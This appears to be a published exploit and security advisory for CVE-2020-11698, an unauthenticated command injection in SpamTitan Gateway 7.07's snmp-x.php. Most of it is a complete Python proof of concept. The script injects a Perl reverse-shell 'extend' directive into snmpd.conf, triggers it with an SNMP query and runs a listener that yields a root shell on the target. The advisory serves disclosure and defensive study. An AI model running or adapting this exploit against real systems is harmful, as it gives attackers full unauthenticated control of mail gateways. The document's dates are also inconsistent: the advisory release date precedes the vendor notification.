SpamTitan 7.07 - Unauthenticated Remote Code Execution

# Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution
# Date: 2020-09-18
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
# Version: 7.07
# Tested on: FreeBSD
# CVE : CVE-2020-11698

---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in
snmp-x.php]------------------------------

SECURITY ADVISORY:   SPUK-2020-09/SpamTitan Unauthenticated Remote
Code Execution in snmp-x.php
Affected Software:   SpamTitan Gateway 7.07 (possibly earlier versions)
Vulnerability:       Unauthenticated Remote Code Execution
CVSSv3:              10.0
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Severity:            Critical
Release Date:        2020-04-17
CVE:                 CVE-2020-11698

I. Background
~~~~~~~~~~~~~

From www.spamtitan.com:

"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
administrators with extensive tools to control mail flow and protect against
unwanted email and malware."

II. Description
~~~~~~~~~~~~~~~
Improper input sanitization of the parameter "community" on the page
snmp-x.php would allow a remote attacker to inject command directives into the
file snmpd.conf. This would allow executing commands on the target server by
by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon
of the server for the correct OID.

III. PoC
~~~~~~~~

Use python 3 and install the following modules: requests, pysnmp.
If your IP is 192.168.1.5 and the target SpamTitan server is
spamtitan.example.com, call the PoC like this:
./poc.py -t spamtitan.example.com -i 192.168.1.5

---------------------------------------------

#!/usr/bin/env python

# Author: Felipe Molina (@felmoltor)
# Date: 09/04/2020
# Python Version: 3.7
# Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan
7.07 and previous versions.
# The script abuses of two weaknesses on the product:
# 1. Unauthenticated interaction with snmp-x.php script
# 2. Injection of snmpd.conf configuration directives in multiple POST
parameters such as "community" or "user_username" of snmp-x.php
# Product URL: https://www.spamtitan.com/
# Product Version: 7.07 and probably previous

import requests
requests.packages.urllib3.disable_warnings()
import os
import threading
from optparse import OptionParser
import socket
import json
from pysnmp.hlapi import *
from urllib.parse import urlparse
from time import sleep

SNMPGETDELAY=5

def parseoptions():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target",
                    help="Target SpamTitan URL to attack. E.g.:
https://spamtitan.com/", default=None)
    parser.add_option("-i", "--ip", dest="ip",
                    help="Local IP where to listen for the reverse
shell. Default: %s" % myip(), default=myip())
    parser.add_option("-p", "--port", dest="port",
                    help="Local Port where to listen for the reverse
shell. Default: 4242", default=4242)
    parser.add_option("-q", "--quiet",
                    action="store_true", dest="quiet", default=False,
                    help="Shut up script! Just give me the shell.")

    return parser.parse_args()

def printmsg(msg,quiet=False,msgtype="i"):
    if (not quiet):
        if (success):
            print("[%s] %s" % (msgtype,msg))
        else:
            print("[-] %s" % msg)

def info(msg,quiet=False):
    printmsg(msg,quiet,msgtype="i")

def success(msg,quiet=False):
    printmsg(msg,quiet,msgtype="+")

def fail(msg,quiet=False):
    printmsg(msg,quiet,msgtype="-")

def myip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # doesn't even have to be reachable
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP


def shellServer(ip,port,quiet):
    servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servers.bind((ip, port))
    servers.listen(1)
    info("Waiting for incoming connection on %s:%s" % (ip,port))
    conn, addr = servers.accept()
    conn.settimeout(1)
    success("Hurray, we got a connection from %s" % addr[0])

    prompt =conn.recv(128)
    prompt=str(prompt.decode("utf-8")).strip()
    command = input(prompt)

    while True:
        try:
            c = "%s\n" % (command)
            if (len(c)>0):
                conn.sendall(c.encode("utf-8"))
                # Quit the console
                if command == 'exit':
                    info("\nClosing connection")
                    conn.close()
                    break
                else:
                    completeanswer=""
                    while True:
                        answer=None
                        try:
                            answer=str((conn.recv(1024)).decode("utf-8"))
                            completeanswer+=answer
                        except socket.timeout:
                            completeanswer.strip()
                            break
                    print(completeanswer,end='')
            command = input("")
        except (KeyboardInterrupt, EOFError):
            info("\nClosing connection")
            break

def triggerSNMPShell(target, community, triggeroid, port, quiet):
    if (not quiet):
        print("Waiting %s seconds to allow the main thread set-up the
shell listener." % SNMPGETDELAY)
    # Give the parent thread a few seconds to set up the shell
listener before triggering the SNMP get query
    sleep(SNMPGETDELAY)
    if (not quiet):
        print("Querying the SNMP server to launch the shell.")
    targetp = urlparse(target)
    errorIndication, errorStatus, errorIndex, varBinds = next(
    getCmd(SnmpEngine(),
           CommunityData(community, mpModel=0),
           UdpTransportTarget((targetp.netloc, port)),
           ContextData(),
           ObjectType(ObjectIdentity(triggeroid)))
    )
    if errorIndication:
        print("SNMP error: %s" % errorIndication)
    elif errorStatus:
        print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(),
                            errorIndex and varBinds[int(errorIndex) -
1][0] or '?'))

def main():
    (options,arguments) = parseoptions()
    q = options.quiet
    t = options.target
    i = options.ip
    p = options.port
    community="dummy"

    if (t is None):
        print("[-] Error. Specify a target (-t).")
        exit()

    if ((not "http://" in t) and (not "https://" in t)):
        t = "http://%s/snmp-x.php" % t
    else:
        t = "%s/snmp-x.php" % t

    if (not q):
        print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p))

    TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108"
    # PAYLOAD="extend revshell /usr/bin/perl -e 'use
Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
-i\");};'" % (i,p)
    PAYLOAD="extend revshell /usr/bin/perl -e 'use
Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
-i\");};'" % (i,p)
    TOGGLESNMP={
        "jaction":"toggleSNMP",
        "newval":"1"
    }
    INJECTION={
        "jaction":"saveAll",
        "contact":"CONTACT",
        "name":"SpamTitan",
        "location":"LOCATION",
        # Add our IP as allowed to query the injected "dummy" community
        # Add also the perl payload in a new line (%0a) of the snmpd.conf file
        "community":'%s" %s\n%s # ' % (community,i,PAYLOAD)
    }

    rev_thread = threading.Thread(target=triggerSNMPShell, args=(t,
community, TARGETOID, 161,q))
    rev_thread.start()

    # Start a thread to listen for incoming reverse shells:
    if (not q):
        print("[+] Launching a reverse shell listener to wait for the shell.")

    # Send the SNMP request to add a community and append an "extend"
command to execute scripts
    # SpamTitan would add a new line in the snmpd.conf file with the
new community name and the "extend" script
    inj_res = requests.post(t,INJECTION,verify=False)
    if (inj_res.status_code == 200):
        if (not q):
            print("Spawning a reverse shell listener. Wait for it...")
        shellServer(options.ip,int(options.port),options.quiet)
    else:
        print("Error. The target is probably not vulnerable (returned
a %s code)." % inj_res.status_code)

main()

---------------------------------------------

III. Impact
~~~~~~~~~~~

The snmpd daemon is running as root in the target server. The
pressented PoC would return a root shell without need of any
registered user in the target server. There is total loss of
confidentiality, integrity and availability on the SpamTitan server.

IV. Disclosure
~~~~~~~~~~~~~~

Reported By: Felipe Molina de la Torre

Vendor Informed:        2020-04-17
Patch Release Date:     2020-05-26
Advisory Release Date:  2019-09-18

V. References
~~~~~~~~~~~~~
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698
* https://sensepost.com/blog/2020/clash-of-the-spamtitan/

---------------------------------[SPUK-2020-09/SpamTitan
Unauthenticated Remote Code Execution in snmp-x.php]---